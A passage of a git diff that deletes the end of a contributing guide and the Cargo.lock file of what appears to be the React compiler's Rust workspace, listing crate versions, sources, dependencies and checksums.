-3. If you've changed APIs, update the documentation.
-4. Ensure the test suite passes.
-5. Make sure your code lints.
-6. If you haven't already, complete the Contributor License Agreement ("CLA").
-
-## Contributor License Agreement ("CLA")
-In order to accept your pull request, we need you to submit a CLA. You only need
-to do this once to work on any of Facebook's open source projects.
-
-Complete your CLA here: <https://code.facebook.com/cla>
-
-## Issues
-We use GitHub issues to track public bugs. Please ensure your description is
-clear and has sufficient instructions to be able to reproduce the issue.
-
-Facebook has a [bounty program](https://www.facebook.com/whitehat/) for the safe
-disclosure of security bugs. In those cases, please go through the process
-outlined on that page and do not file a public issue.
-
-## License
-By contributing to react-forget, you agree that your contributions will be licensed
-under the LICENSE file in the root directory of this source tree.
\ No newline at end of file
diff --git a/compiler/Cargo.lock b/compiler/Cargo.lock
deleted file mode 100644
index a565ff1574e6..000000000000
--- a/compiler/Cargo.lock
+++ /dev/null
@@ -1,1217 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "addr2line"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4fa78e18c64fce05e902adecd7a5eed15a5e0a3439f7b0e169f0252214865e3"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "ahash"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47"
-dependencies = [
- "getrandom",
- "once_cell",
- "version_check",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "0.7.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43f6cb1bf222025340178f382c426f13757b2960e89779dfcb319c32542a5a41"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.71"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c7d0618f0e0b7e8ff11427422b64564d5fb0be1940354bfe2e0529b18a9d9b8"
-
-[[package]]
-name = "backtrace"
-version = "0.3.68"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4319208da049c43661739c5fade2ba182f09d1dc2299b32298d3a31692b17e12"
-dependencies = [
- "addr2line",
- "cc",
- "cfg-if",
- "libc",
- "miniz_oxide",
- "object",
- "rustc-demangle",
-]
-
-[[package]]
-name = "backtrace-ext"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "537beee3be4a18fb023b570f80e3ae28003db9167a751266b259926e25539d50"
-dependencies = [
- "backtrace",
-]
-
-[[package]]
-name = "base64"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635"
-
-[[package]]
-name = "bstr"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a246e68bb43f6cd9db24bea052a53e40405417c5fb372e3d1a8a7f770a564ef5"
-dependencies = [
- "memchr",
- "serde",
-]
-
-[[package]]
-name = "cc"
-version = "1.0.79"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "cmake"
-version = "0.1.50"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a31c789563b815f77f4250caee12365734369f942439b7defd71e18a48197130"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "console"
-version = "0.15.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8"
-dependencies = [
- "encode_unicode",
- "lazy_static",
- "libc",
- "windows-sys 0.45.0",
-]
-
-[[package]]
-name = "convert_case"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec182b0ca2f35d8fc196cf3404988fd8b8c739a4d270ff118a398feb0cbec1ca"
-dependencies = [
- "unicode-segmentation",
-]
-
-[[package]]
-name = "ctor"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f34ba9a9bcb8645379e9de8cb3ecfcf4d1c85ba66d90deb3259206fa5aa193b"
-dependencies = [
- "quote",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "encode_unicode"
-version = "0.3.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
-
-[[package]]
-name = "equivalent"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88bffebc5d80432c9b140ee17875ff173a8ab62faad5b257da912bd2f6c1c0a1"
-
-[[package]]
-name = "errno"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a"
-dependencies = [
- "errno-dragonfly",
- "libc",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "errno-dragonfly"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf"
-dependencies = [
- "cc",
- "libc",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi",
-]
-
-[[package]]
-name = "gimli"
-version = "0.27.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6c80984affa11d98d1b88b66ac8853f143217b399d3c74116778ff8fdb4ed2e"
-
-[[package]]
-name = "globset"
-version = "0.4.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "029d74589adefde59de1a0c4f4732695c32805624aec7b68d91503d4dba79afc"
-dependencies = [
- "aho-corasick 0.7.20",
- "bstr",
- "fnv",
- "log",
- "regex",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
-dependencies = [
- "ahash",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c6201b9ff9fd90a5a3bac2e56a830d0caa509576f0e503818ee82c181b3437a"
-
-[[package]]
-name = "hermes"
-version = "0.1.0"
-source = "git+https://github.com/facebook/hermes.git#b2618410b4093e780a04228a2ce87a3626983506"
-dependencies = [
- "cmake",
- "juno_support",
- "libc",
- "libcplusplus",
- "thiserror",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b"
-
-[[package]]
-name = "idna"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5477fe2230a79769d8dc68e0eabf5437907c0457a5614a9e8dddb67f65eb65d"
-dependencies = [
- "equivalent",
- "hashbrown 0.14.0",
- "serde",
-]
-
-[[package]]
-name = "insta"
-version = "1.30.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28491f7753051e5704d4d0ae7860d45fae3238d7d235bc4289dcd45c48d3cec3"
-dependencies = [
- "console",
- "globset",
- "lazy_static",
- "linked-hash-map",
- "similar",
- "walkdir",
- "yaml-rust",
-]
-
-[[package]]
-name = "io-lifetimes"
-version = "1.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2"
-dependencies = [
- "hermit-abi",
- "libc",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "is-terminal"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adcf93614601c8129ddf72e2d5633df827ba6551541c6d8c59520a371475be1f"
-dependencies = [
- "hermit-abi",
- "io-lifetimes",
- "rustix",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "is_ci"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "616cde7c720bb2bb5824a224687d8f77bfd38922027f01d825cd7453be5099fb"
-
-[[package]]
-name = "itoa"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62b02a5381cc465bd3041d84623d0fa3b66738b52b8e2fc3bab8ad63ab032f4a"
-
-[[package]]
-name = "juno_support"
-version = "0.1.0"
-source = "git+https://github.com/facebook/hermes.git#b2618410b4093e780a04228a2ce87a3626983506"
-dependencies = [
- "anyhow",
- "base64",
- "cmake",
- "libcplusplus",
- "thiserror",
- "url",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "libc"
-version = "0.2.147"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
-
-[[package]]
-name = "libcplusplus"
-version = "0.1.0"
-source = "git+https://github.com/facebook/hermes.git#b2618410b4093e780a04228a2ce87a3626983506"
-
-[[package]]
-name = "libloading"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f"
-dependencies = [
- "cfg-if",
- "winapi",
-]
-
-[[package]]
-name = "linked-hash-map"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f"
-
-[[package]]
-name = "linux-raw-sys"
-version = "0.3.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519"
-
-[[package]]
-name = "log"
-version = "0.4.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4"
-
-[[package]]
-name = "memchr"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
-
-[[package]]
-name = "miette"
-version = "5.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a236ff270093b0b67451bc50a509bd1bad302cb1d3c7d37d5efe931238581fa9"
-dependencies = [
- "backtrace",
- "backtrace-ext",
- "is-terminal",
- "miette-derive",
- "once_cell",
- "owo-colors",
- "supports-color",
- "supports-hyperlinks",
- "supports-unicode",
- "terminal_size",
- "textwrap",
- "thiserror",
- "unicode-width",
-]
-
-[[package]]
-name = "miette-derive"
-version = "5.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4901771e1d44ddb37964565c654a3223ba41a594d02b8da471cc4464912b5cfa"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7"
-dependencies = [
- "adler",
-]
-
-[[package]]
-name = "napi"
-version = "2.13.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd063c93b900149304e3ba96ce5bf210cd4f81ef5eb80ded0d100df3e85a3ac0"
-dependencies = [
- "bitflags 2.4.0",
- "ctor",
- "napi-derive",
- "napi-sys",
- "once_cell",
- "serde",
- "serde_json",
- "tokio",
-]
-
-[[package]]
-name = "napi-build"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "882a73d9ef23e8dc2ebbffb6a6ae2ef467c0f18ac10711e4cc59c5485d41df0e"
-
-[[package]]
-name = "napi-derive"
-version = "2.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da1c6a8fa84d549aa8708fcd062372bf8ec6e849de39016ab921067d21bde367"
-dependencies = [
- "cfg-if",
- "convert_case",
- "napi-derive-backend",
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "napi-derive-backend"
-version = "1.0.52"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20bbc7c69168d06a848f925ec5f0e0997f98e8c8d4f2cc30157f0da51c009e17"
-dependencies = [
- "convert_case",
- "once_cell",
- "proc-macro2",
- "quote",
- "regex",
- "semver",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "napi-sys"
-version = "2.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "166b5ef52a3ab5575047a9fe8d4a030cdd0f63c96f071cd6907674453b07bae3"
-dependencies = [
- "libloading",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "object"
-version = "0.31.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8bda667d9f2b5051b8833f59f3bf748b28ef54f850f4fcb389a252aa383866d1"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
-
-[[package]]
-name = "owo-colors"
-version = "3.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c1b04fb49957986fdce4d6ee7a65027d55d4b6d2265e5848bbb507b58ccfdb6f"
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94"
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "12cc1b0bf1727a77a54b6654e7b5f1af8604923edc8b81885f8ec92f9e3f0a05"
-
-[[package]]
-name = "prettyplease"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92139198957b410250d43fad93e630d956499a625c527eda65175c8680f83387"
-dependencies = [
- "proc-macro2",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.63"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b368fba921b0dce7e60f5e04ec15e565b3303972b42bcfde1d0713b881959eb"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "psm"
-version = "0.1.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5787f7cda34e3033a72192c018bc5883100330f362ef279a8cbccfce8bb4e874"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.29"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "573015e8ab27661678357f27dc26460738fd2b6c86e46f386fde94cb5d913105"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "react_build_hir"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "react_diagnostics",
- "react_estree",
- "react_hir",
- "react_semantic_analysis",
- "thiserror",
-]
-
-[[package]]
-name = "react_diagnostics"
-version = "0.1.0"
-dependencies = [
- "miette",
- "react_estree",
- "static_assertions",
- "thiserror",
-]
-
-[[package]]
-name = "react_estree"
-version = "0.1.0"
-dependencies = [
- "insta",
- "react_estree_codegen",
- "serde",
- "serde_json",
- "static_assertions",
-]
-
-[[package]]
-name = "react_estree_codegen"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "prettyplease",
- "quote",
- "serde",
- "serde_json",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "react_fixtures"
-version = "0.1.0"
-dependencies = [
- "insta",
- "miette",
- "react_build_hir",
- "react_estree",
- "react_hermes_parser",
- "react_hir",
- "react_optimization",
- "react_semantic_analysis",
- "react_ssa",
-]
-
-[[package]]
-name = "react_hermes_parser"
-version = "0.1.0"
-dependencies = [
- "hermes",
- "insta",
- "juno_support",
- "react_diagnostics",
- "react_estree",
- "react_estree_codegen",
- "serde_json",
-]
-
-[[package]]
-name = "react_hir"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "react_diagnostics",
- "react_estree",
- "react_semantic_analysis",
- "react_utils",
- "serde",
- "thiserror",
-]
-
-[[package]]
-name = "react_napi"
-version = "0.1.0"
-dependencies = [
- "napi",
- "napi-build",
- "napi-derive",
- "react_diagnostics",
- "react_estree",
- "react_hermes_parser",
- "react_semantic_analysis",
- "serde_json",
-]
-
-[[package]]
-name = "react_optimization"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "miette",
- "react_build_hir",
- "react_diagnostics",
- "react_estree",
- "react_hir",
- "react_ssa",
- "react_utils",
- "thiserror",
-]
-
-[[package]]
-name = "react_semantic_analysis"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "insta",
- "miette",
- "react_diagnostics",
- "react_estree",
- "react_hermes_parser",
- "react_utils",
- "serde_json",
-]
-
-[[package]]
-name = "react_ssa"
-version = "0.1.0"
-dependencies = [
- "indexmap",
- "miette",
- "react_diagnostics",
- "react_hir",
- "react_utils",
- "thiserror",
-]
-
-[[package]]
-name = "react_utils"
-version = "0.1.0"
-dependencies = [
- "stacker",
-]
-
-[[package]]
-name = "regex"
-version = "1.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d0ab3ca65655bb1e41f2a8c8cd662eb4fb035e67c3f78da1d61dffe89d07300f"
-dependencies = [
- "aho-corasick 1.0.2",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "436b050e76ed2903236f032a59761c1eb99e1b0aead2c257922771dab1fc8c78"
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76"
-
-[[package]]
-name = "rustix"
-version = "0.37.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2"
-dependencies = [
- "bitflags 1.3.2",
- "errno",
- "io-lifetimes",
- "libc",
- "linux-raw-sys",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "ryu"
-version = "1.0.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe232bdf6be8c8de797b22184ee71118d63780ea42ac85b61d1baa6d3b782ae9"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918"
-
-[[package]]
-name = "serde"
-version = "1.0.167"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7daf513456463b42aa1d94cff7e0c24d682b429f020b9afa4f5ba5c40a22b237"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.167"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b69b106b68bc8054f0e974e70d19984040f8a5cf9215ca82626ea4853f82c4b9"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f1e14e89be7aa4c4b78bdbdc9eb5bf8517829a600ae8eaa39a6e1d960b5185c"
-dependencies = [
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "similar"
-version = "2.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "420acb44afdae038210c99e69aae24109f32f15500aa708e81d46c9f29d55fcf"
-
-[[package]]
-name = "smawk"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f67ad224767faa3c7d8b6d91985b78e70a1324408abcb1cfcc2be4c06bc06043"
-
-[[package]]
-name = "stacker"
-version = "0.1.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c886bd4480155fd3ef527d45e9ac8dd7118a898a46530b7b94c3e21866259fce"
-dependencies = [
- "cc",
- "cfg-if",
- "libc",
- "psm",
- "winapi",
-]
-
-[[package]]
-name = "static_assertions"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
-
-[[package]]
-name = "supports-color"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4950e7174bffabe99455511c39707310e7e9b440364a2fcb1cc21521be57b354"
-dependencies = [
- "is-terminal",
- "is_ci",
-]
-
-[[package]]
-name = "supports-hyperlinks"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f84231692eb0d4d41e4cdd0cabfdd2e6cd9e255e65f80c9aa7c98dd502b4233d"
-dependencies = [
- "is-terminal",
-]
-
-[[package]]
-name = "supports-unicode"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b6c2cb240ab5dd21ed4906895ee23fe5a48acdbd15a3ce388e7b62a9b66baf7"
-dependencies = [
- "is-terminal",
-]
-
-[[package]]
-name = "syn"
-version = "1.0.109"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59fb7d6d8281a51045d62b8eb3a7d1ce347b76f312af50cd3dc0af39c87c1737"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "terminal_size"
-version = "0.1.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "633c1a546cee861a1a6d0dc69ebeca693bf4296661ba7852b9d21d159e0506df"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "textwrap"
-version = "0.15.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7b3e525a49ec206798b40326a44121291b530c963cfb01018f63e135bac543d"
-dependencies = [
- "smawk",
- "unicode-linebreak",
- "unicode-width",
-]
-
-[[package]]
-name = "thiserror"
-version = "1.0.41"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c16a64ba9387ef3fdae4f9c1a7f07a0997fce91985c0336f1ddc1822b3b37802"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.41"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d14928354b01c4d6a4f0e549069adef399a284e7995c7ccca94e8a07a5346c59"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.23",
-]
-
-[[package]]
-name = "tinyvec"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
-
-[[package]]
-name = "tokio"
-version = "1.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9"
-dependencies = [
- "backtrace",
- "num_cpus",
- "pin-project-lite",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22049a19f4a68748a168c0fc439f9516686aa045927ff767eca0a85101fb6e73"
-
-[[package]]
-name = "unicode-linebreak"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c5faade31a542b8b35855fff6e8def199853b2da8da256da52f52f1316ee3137"
-dependencies = [
- "hashbrown 0.12.3",
- "regex",
-]
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b"
-
-[[package]]
-name = "url"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50bff7831e19200a85b17131d085c25d7811bc4e186efdaf54bbd132994a88cb"
-dependencies = [
- "form_urlencoded",
- "idna",
- "percent-encoding",
-]
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "walkdir"
-version = "2.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698"
-dependencies = [
- "same-file",
- "winapi-util",
-]
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
